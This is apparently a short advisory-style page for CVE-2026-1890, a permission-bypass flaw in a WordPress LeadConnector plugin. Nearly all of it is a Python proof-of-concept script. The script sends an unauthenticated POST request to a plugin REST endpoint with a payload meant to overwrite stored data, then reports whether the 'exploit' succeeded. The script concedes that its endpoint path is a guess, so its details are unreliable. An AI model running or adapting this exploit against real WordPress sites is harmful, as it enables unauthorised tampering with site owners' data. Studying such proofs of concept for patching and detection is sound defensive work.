CVE-2026-1890 LeadConnector插件权限绕过漏洞

import requests # Target URL of the vulnerable WordPress site REST endpoint # Note: The exact endpoint path depends on the plugin's implementation target_url = "http://target-wordpress-site.com/wp-json/leadconnector/v1/sensitive-endpoint" # Malicious payload designed to overwrite existing data payload = { "id": 1, "data": "Overwritten by attacker" } try: # Send POST request without authentication headers (PR:N) response = requests.post(target_url, json=payload) # Check if the request was successful (HTTP 200 OK) if response.status_code == 200: print("[+] Exploit successful! Data has been overwritten.") print("[+] Response:", response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") print("[-] Response:", response.text) except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")